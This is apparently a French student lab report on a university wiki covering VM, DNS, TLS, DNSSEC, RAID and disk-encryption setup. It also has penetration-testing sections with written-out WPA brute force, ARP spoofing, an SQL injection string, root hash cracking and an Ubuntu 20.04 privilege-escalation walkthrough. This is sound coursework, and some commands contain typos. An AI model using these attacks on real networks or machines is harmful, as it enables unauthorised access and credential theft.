==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54277</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54277"/>
				<updated>2020-12-06T01:08:31Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==4.4 Sécurisation de serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n'oblions pas d'incrementez le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
on signe ensuite les enregistrement de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffice .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consite à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
Nous vérifions la configuration de notre DNS grace au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
